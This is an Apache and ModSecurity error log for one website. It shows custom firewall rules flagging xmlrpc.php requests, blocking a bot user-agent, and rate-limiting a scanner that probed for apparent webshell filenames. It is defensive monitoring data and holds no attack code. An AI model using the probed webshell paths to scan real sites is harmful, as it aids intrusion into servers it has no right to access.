[Sat Apr 04 13:15:58.409013 2026] [:error] [pid 2459:tid 2531] [client 86.99.106.111:60924] [client 86.99.106.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.99.106.111, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adCejgefyCmu4LR_PloWXQAAAIA"]
[Sat Apr 04 13:15:58.419881 2026] [proxy_fcgi:error] [pid 2459:tid 2531] [client 86.99.106.111:60924] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 15:37:16.543068 2026] [:error] [pid 37114:tid 37122] [client 104.28.152.248:50207] [client 104.28.152.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "adC_rM-DnSj3fGMexeLJrAAAAQY"]
[Sat Apr 04 16:56:03.334140 2026] [:error] [pid 2459:tid 2553] [client 106.215.164.78:19005] [client 106.215.164.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.164.78, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adDSIwefyCmu4LR_PlpugQAAAJU"]
[Sat Apr 04 16:56:03.345620 2026] [proxy_fcgi:error] [pid 2459:tid 2553] [client 106.215.164.78:19005] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 17:41:07.229809 2026] [:error] [pid 2459:tid 2553] [client 216.24.210.248:21859] [client 216.24.210.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "adDcswefyCmu4LR_PlqS1gAAAJU"]
[Sat Apr 04 17:56:56.341962 2026] [:error] [pid 2457:tid 2480] [client 160.250.44.50:49953] [client 160.250.44.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.44.50, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adDgaEmNHppaMd92ZpcUkgAAAAM"]
[Sat Apr 04 17:56:56.356760 2026] [proxy_fcgi:error] [pid 2457:tid 2480] [client 160.250.44.50:49953] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 19:27:28.020692 2026] [:error] [pid 2459:tid 2535] [client 103.70.201.151:58450] [client 103.70.201.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.70.201.151, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adD1oAefyCmu4LR_PlriyQAAAIQ"]
[Sat Apr 04 19:27:28.033243 2026] [proxy_fcgi:error] [pid 2459:tid 2535] [client 103.70.201.151:58450] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 19:41:02.464979 2026] [:error] [pid 2458:tid 2506] [client 150.228.113.124:17285] [client 150.228.113.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.228.113.124, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adD4ziNozic5SuWqcln92wAAAEI"]
[Sat Apr 04 19:41:02.479071 2026] [proxy_fcgi:error] [pid 2458:tid 2506] [client 150.228.113.124:17285] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 20:39:34.280426 2026] [:error] [pid 2458:tid 2524] [client 122.172.87.77:2496] [client 122.172.87.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.87.77, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adEGhiNozic5SuWqclkYGwAAAFQ"]
[Sat Apr 04 20:39:34.291511 2026] [proxy_fcgi:error] [pid 2458:tid 2524] [client 122.172.87.77:2496] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 21:18:28.646541 2026] [:error] [pid 2458:tid 2504] [client 49.42.153.228:59167] [client 49.42.153.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.42.153.228, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adEPpCNozic5SuWqclkpFwAAAEA"]
[Sat Apr 04 21:18:28.657542 2026] [proxy_fcgi:error] [pid 2458:tid 2504] [client 49.42.153.228:59167] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 21:46:05.893892 2026] [:error] [pid 63487:tid 63514] [client 103.68.29.119:49323] [client 103.68.29.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.68.29.119, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adEWHWpqOMD5fJ8_5q0BNAAAAVg"]
[Sat Apr 04 21:46:05.905440 2026] [proxy_fcgi:error] [pid 63487:tid 63514] [client 103.68.29.119:49323] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 22:17:12.872003 2026] [:error] [pid 2459:tid 2534] [client 138.185.96.233:26291] [client 138.185.96.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.185.96.233, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adEdaAefyCmu4LR_PlpFYwAAAIM"]
[Sat Apr 04 22:17:12.882807 2026] [proxy_fcgi:error] [pid 2459:tid 2534] [client 138.185.96.233:26291] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 22:51:36.817707 2026] [:error] [pid 63487:tid 63490] [client 154.74.127.123:35694] [client 154.74.127.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.74.127.123, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adEleGpqOMD5fJ8_5q0k7AAAAUA"]
[Sat Apr 04 22:51:36.830726 2026] [proxy_fcgi:error] [pid 63487:tid 63490] [client 154.74.127.123:35694] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 01:29:46.693474 2026] [:error] [pid 53820:tid 53901] [client 94.249.90.107:54404] [client 94.249.90.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.249.90.107, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adFKijKzpMZSi9FOeIYdiQAAAEA"]
[Sun Apr 05 01:29:46.704608 2026] [proxy_fcgi:error] [pid 53820:tid 53901] [client 94.249.90.107:54404] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 02:54:51.402423 2026] [:error] [pid 54081:tid 54158] [client 159.253.108.39:2611] [client 159.253.108.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.253.108.39, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adFee1JcnxTrqYU7_fpWigAAAM8"]
[Sun Apr 05 02:54:51.414360 2026] [proxy_fcgi:error] [pid 54081:tid 54158] [client 159.253.108.39:2611] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 04:03:04.760211 2026] [:error] [pid 45305:tid 45372] [client 187.29.65.138:55118] [client 187.29.65.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.29.65.138, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adFueOjDQjr7aWhjflDBKwAAAIE"]
[Sun Apr 05 04:03:04.771685 2026] [proxy_fcgi:error] [pid 45305:tid 45372] [client 187.29.65.138:55118] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:40:15.290820 2026] [:error] [pid 45305:tid 45377] [client 94.65.241.134:61593] [client 94.65.241.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.65.241.134, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adGFP-jDQjr7aWhjflAHMwAAAIY"]
[Sun Apr 05 05:40:15.304406 2026] [proxy_fcgi:error] [pid 45305:tid 45377] [client 94.65.241.134:61593] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:31.572956 2026] [proxy_fcgi:error] [pid 45409:tid 45432] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:31.831842 2026] [proxy_fcgi:error] [pid 45409:tid 45433] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:32.090005 2026] [proxy_fcgi:error] [pid 45409:tid 45414] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:32.362993 2026] [proxy_fcgi:error] [pid 45409:tid 45423] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:32.621091 2026] [proxy_fcgi:error] [pid 45409:tid 45418] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:32.893162 2026] [proxy_fcgi:error] [pid 45409:tid 45417] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:33.151726 2026] [proxy_fcgi:error] [pid 45409:tid 45420] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:33.410644 2026] [proxy_fcgi:error] [pid 45409:tid 45416] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:33.670593 2026] [proxy_fcgi:error] [pid 45409:tid 45429] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:33.942593 2026] [proxy_fcgi:error] [pid 45409:tid 45426] [client 20.215.70.55:54100] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:51:34.217191 2026] [:error] [pid 45409:tid 45414] [client 20.215.70.55:54100] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adGH5tHt_Oyw03gjCNjKowAAAMM"]
[Sun Apr 05 05:51:35.020356 2026] [:error] [pid 30921:tid 30947] [client 20.215.70.55:7794] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adGH52FGQVn8Q0ueB25rsQAAARg"]
[Sun Apr 05 05:51:35.926458 2026] [:error] [pid 45305:tid 45371] [client 20.215.70.55:54113] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adGH5-jDQjr7aWhjflARJwAAAIA"]
[Sun Apr 05 05:51:36.476609 2026] [:error] [pid 45304:tid 45354] [client 20.215.70.55:52808] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adGH6A5jnqDKKovdRkkFyAAAAEo"]
[Sun Apr 05 05:51:37.116048 2026] [:error] [pid 45303:tid 45339] [client 20.215.70.55:64604] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adGH6bboQ9eViZ4hdnmCUAAAABY"]
[Sun Apr 05 05:51:37.645801 2026] [:error] [pid 45303:tid 45327] [client 20.215.70.55:54126] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adGH6bboQ9eViZ4hdnmCVAAAAAo"]
[Sun Apr 05 05:51:38.391581 2026] [:error] [pid 30921:tid 30941] [client 20.215.70.55:63763] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adGH6mFGQVn8Q0ueB25rugAAARI"]
[Sun Apr 05 05:51:39.097083 2026] [:error] [pid 45303:tid 45334] [client 20.215.70.55:7804] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adGH67boQ9eViZ4hdnmCWAAAABE"]
[Sun Apr 05 05:51:39.776743 2026] [:error] [pid 30921:tid 30937] [client 20.215.70.55:7625] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "adGH62FGQVn8Q0ueB25rwQAAAQ4"]
[Sun Apr 05 05:51:40.399306 2026] [:error] [pid 45409:tid 45428] [client 20.215.70.55:52829] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "adGH7NHt_Oyw03gjCNjKsAAAANE"]
[Sun Apr 05 05:51:41.020715 2026] [:error] [pid 45305:tid 45392] [client 20.215.70.55:7658] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "adGH7ejDQjr7aWhjflARLQAAAJU"]
[Sun Apr 05 05:51:41.556663 2026] [:error] [pid 45305:tid 45386] [client 20.215.70.55:64619] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "adGH7ejDQjr7aWhjflARMQAAAI8"]
[Sun Apr 05 05:51:42.188010 2026] [:error] [pid 45305:tid 45378] [client 20.215.70.55:54097] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGH7ujDQjr7aWhjflARNQAAAIc"]
[Sun Apr 05 05:51:42.743667 2026] [:error] [pid 45304:tid 45351] [client 20.215.70.55:52862] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGH7g5jnqDKKovdRkkF0gAAAEc"]
[Sun Apr 05 05:51:43.258761 2026] [:error] [pid 45303:tid 45339] [client 20.215.70.55:52830] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGH77boQ9eViZ4hdnmCXgAAABY"]
[Sun Apr 05 05:51:43.858961 2026] [:error] [pid 45303:tid 45330] [client 20.215.70.55:7616] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adGH77boQ9eViZ4hdnmCYQAAAA0"]
[Sun Apr 05 05:51:44.407269 2026] [:error] [pid 45409:tid 45435] [client 20.215.70.55:52838] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "adGH8NHt_Oyw03gjCNjKugAAANg"]
[Sun Apr 05 05:51:44.922017 2026] [:error] [pid 30921:tid 30925] [client 20.215.70.55:52831] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "adGH8GFGQVn8Q0ueB25rzgAAAQI"]
[Sun Apr 05 05:51:45.512306 2026] [:error] [pid 45409:tid 45426] [client 20.215.70.55:7624] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "adGH8dHt_Oyw03gjCNjKvQAAAM8"]
[Sun Apr 05 05:51:46.029174 2026] [:error] [pid 45409:tid 45431] [client 20.215.70.55:52811] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "adGH8tHt_Oyw03gjCNjKwAAAANQ"]
[Sun Apr 05 05:51:46.617566 2026] [:error] [pid 30921:tid 30930] [client 20.215.70.55:64514] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adGH8mFGQVn8Q0ueB25r0gAAAQc"]
[Sun Apr 05 05:51:47.464514 2026] [:error] [pid 45304:tid 45350] [client 20.215.70.55:52835] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adGH8w5jnqDKKovdRkkF2AAAAEY"]
[Sun Apr 05 05:51:48.026040 2026] [:error] [pid 45304:tid 45359] [client 20.215.70.55:7759] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adGH9A5jnqDKKovdRkkF2QAAAE8"]
[Sun Apr 05 05:51:48.727565 2026] [:error] [pid 45304:tid 45360] [client 20.215.70.55:7787] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adGH9A5jnqDKKovdRkkF2gAAAFA"]
[Sun Apr 05 05:51:49.731900 2026] [:error] [pid 30921:tid 30942] [client 20.215.70.55:7790] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "adGH9WFGQVn8Q0ueB25r4AAAARM"]
[Sun Apr 05 05:51:50.884305 2026] [:error] [pid 30921:tid 30945] [client 20.215.70.55:7757] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "adGH9mFGQVn8Q0ueB25r5wAAARY"]
[Sun Apr 05 05:51:51.931543 2026] [:error] [pid 45305:tid 45395] [client 20.215.70.55:7661] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "adGH9-jDQjr7aWhjflARRAAAAJg"]
[Sun Apr 05 05:51:52.885989 2026] [:error] [pid 30921:tid 30925] [client 20.215.70.55:54109] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "adGH-GFGQVn8Q0ueB25r7AAAAQI"]
[Sun Apr 05 05:51:53.641163 2026] [:error] [pid 30921:tid 30931] [client 20.215.70.55:7618] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8daf1238_1774208172.php"] [unique_id "adGH-WFGQVn8Q0ueB25r8AAAAQg"]
[Sun Apr 05 05:51:55.507827 2026] [:error] [pid 45305:tid 45384] [client 20.215.70.55:54143] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8daf1238_1774208172.php"] [unique_id "adGH--jDQjr7aWhjflARUwAAAI0"]
[Sun Apr 05 05:51:57.185020 2026] [:error] [pid 45303:tid 45322] [client 20.215.70.55:64600] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8daf1238_1774208172.php"] [unique_id "adGH_bboQ9eViZ4hdnmCdgAAAAU"]
[Sun Apr 05 05:51:58.184436 2026] [:error] [pid 45303:tid 45323] [client 20.215.70.55:52851] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8daf1238_1774208172.php"] [unique_id "adGH_rboQ9eViZ4hdnmCdwAAAAY"]
[Sun Apr 05 05:51:59.106353 2026] [:error] [pid 45305:tid 45376] [client 20.215.70.55:52843] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "adGH_-jDQjr7aWhjflARWwAAAIU"]
